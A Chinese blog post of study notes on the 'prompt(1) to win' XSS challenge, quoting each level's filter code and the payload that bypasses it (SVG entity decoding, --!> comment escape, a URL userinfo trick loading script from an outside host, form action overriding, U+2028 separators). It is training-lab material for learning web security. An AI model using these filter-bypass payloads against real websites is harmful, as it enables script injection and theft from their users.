prompt(1) to win -----XSS学习笔记

本文是一篇关于XSS学习的笔记,记录了作者在一系列挑战中如何利用各种技巧插入prompt(1) 的过程。从基础的<>过滤到复杂的正则与长度限制,每个关卡都详细分析了解决方案,包括SVG标签、URL编码、注释符等绕过策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一直不是很懂XSS,所以这里专门来学习一下下!记录做题的过程嗯。规则是当想办法嵌入prompt(1) 就算胜利了

第0关

什么过滤都没有,payload如下

"><script>prompt(1)</script><"

这里写图片描述

第1关—<> 过滤

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}   

发现是过滤了<内容>这个组合,通过实验发现可以用//注释绕过,相当于过滤了>,这里采用了payload

    <article><body/onload=prompt(1)//</article>

这里写图片描述

这样也是可以的

<img src=1 onerror=prompt(1)//

第2关— (= 过滤

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}        

很容易看出来,是过滤了(和=,但是怎么过滤很困惑,想过会不会是什么编码解析绕过它,但是没成功。参考了大牛的答案后恍然大悟,原来存在这么神器的标签
使用SVG标签,会提前将将XML实体解析再加入标签!然后我们只需要构造<svg><script>prompt&#x28;1)</script>

这里写图片描述

或者利用了

<script>eval.call`${'prompt\x281)'}`</script>

调用了js中的eval函数,巧妙死了!

第3关—替换

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}        

首先是input在注释符之间,但是输入的input又过滤了->
这个是我无意间试出来的,我一开始想看能不能利用替换构造语句,无意间发现,虽然--> 被过滤了,但是我们可以用--!>替代!

这里写图片描述

第4关—同源的正则过滤

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}    

这个题目真是神叨叨的,搞了半天也不知道为啥不行???最后没办法查找资料发现利用的url中的黑魔法:
浏览器支持这样的url:http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%2f@attacker.com
不过我就是不明白为啥要域名越短越好???最后也没弄明白个所以然,利用服务器构造<script>prompt(1)</script>,然后我们构造代码出来(本步骤需要有服务器)

<script src="http://prompt.ml%2f@hacker.sinaapp.com/test.html"></script>

发现访问跳转是可以成功的

第5关— input_value限制

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}        

看一下代码,发现是过滤了>onxxxx=focus,所以在这里无法使用autofocus了。但是这里可以将input标签的type类型覆盖了,比如说将之覆盖成image类型,然后可以利用οnerrοr=,使用换行绕过即可,payload如下

"type=image src onerror
="prompt(1)

这里写图片描述

看了牛逼人士的题解,还有别的思路,比如说IE下可以使用

(1)
"onresize
="prompt(1)
(2)
" oninput
=prompt(1) "

学习一手

第6关—表单提交action过滤

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}        

通过代码和注释可以看出来,题目构造post表单,我们需要输入的格式为utl#post的表单内容,比如www.baiducom#{"nothing":"hello"},具体过程是先提取url构造form表单,url赋值给form标签中的action,然后post内容加成input标签。
我们想嵌入代码,经常能见到类似action=”javascript:alert(1)”的内容,但是后面还过滤了document.form[0].action内容,过滤了script和data,猛一看就像js和vbs

这里写图片描述

但是过滤存在缺陷
由于存在子级tag, action 将会优先指向name为action的子tag.
我们实验下,首先构造代码

<form action="javascript:prompt(1)" method="post"></input></form>
<script>
    alert(document.forms[0].action);      
</script>  

弹出

这里写图片描述

如果我们加上一个input标签

<form action="javascript:prompt(1)" method="post"><input name="action" value=1></input></form>
<script>
    alert(document.forms[0].action);      
</script>  

这里写图片描述

返回内容就被覆盖了,所以我们在这里可以构造提交的表单中有action选项,payload如下
这里写图片描述

第7关—连续输出长度限制

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}    

思路还是不够开阔…可以利用<script>标签的注释功能…不用多讲…

"><script>/*#*/prompt(/*#*/1)/*#*/</script>
//"

这里写图片描述

我们仔细看一下生成的代码就明白了
但是看着大牛们还有一种利用svg构造的一种方法,巧妙的一比,payload如下

"><svg/a=#"onload='/*#*/prompt(1)'

生成的代码如下

<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>

本质还是利用了注释符绕过长度限制,简化过得有效代码如下

<svg/a=comment" title=""onload='prompt(1)'"></p>

第8关—script标签注释/闭合限制

function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}        

本题目过滤了各种换行符和”和/,但是我们想要使代码执行,必须逃脱出双引号或者本行,那么逃逸利用了unicode

    U+2028,是Unicode中的行分隔符
    U+2029,是Unicode中的段落分隔符。

很多人说原来的payload没用,我来告诉大家如何生成payload
首先用chrome F12打开开发者选项,然后利用console模块,输入

'\u2028prompt(1)\u2028-->'

得到一个东西,将之复制下来就是payload!

这里写图片描述

这里写图片描述

第9关—

function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
}     

[未完待续]

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值